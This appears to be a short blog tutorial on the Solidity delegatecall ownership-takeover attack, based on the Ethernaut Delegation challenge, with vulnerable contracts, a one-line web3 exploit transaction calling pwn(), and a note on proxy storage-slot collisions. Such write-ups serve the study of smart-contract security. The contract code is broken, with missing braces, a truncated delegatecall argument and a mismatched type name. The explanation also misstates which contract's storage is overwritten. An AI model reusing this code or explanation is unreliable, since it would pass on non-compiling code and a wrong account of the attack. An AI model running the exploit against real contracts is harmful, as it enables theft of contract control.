Solidity Delegatecall Attack

Last modified: 2023-09-30

Blockchain Ethereum

Solidity’s delegatecall is vulnerable to override the storage values in the caller contract.



1. Vulnerable Contract

Below is the example contracts from Ethernaut. That uses delegatecall method in the fallback() function.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract DelegateA {
  address public owner;

  constructor(address _owner) {
    owner = _owner;

  function pwn() public {
    owner = msg.sender;

contract DelegateB {
    address public owner;
    DelegateA delegateA;

    constructor(address _delegateA) {
        delegateA = Delegate(_delegateA);
        owner = msg.sender;

    fallback() external {
        (bool result,) = address(delegateA).delegatecall(;
        if (result) {

2. Attack

Call the pwn function by sending transaction because delegatecall exists in fallback function. This changes the owner of the DelegateA contract to msg.sender because the delegatecall overrides the slot value in the callee contract (it's DelegateA). In short, we can become the owner of this contract.

contract.sendTransaction({data: web3.sha3('pwn()').slice(0, 10)})

Upgradeable Contract Storage Overriding

If the contract is upgradeable using Proxy contract and the slot order is difference, we may be able to manipulate arbitrary slot values with delegatecall.

contract ExampleV1 {
	uint public balance; // <- we can overwrite this from the ExampleV2 contract

contract ExampleV2 {
	address public owner; // <- we can overwrite this from the ExampleV1 contract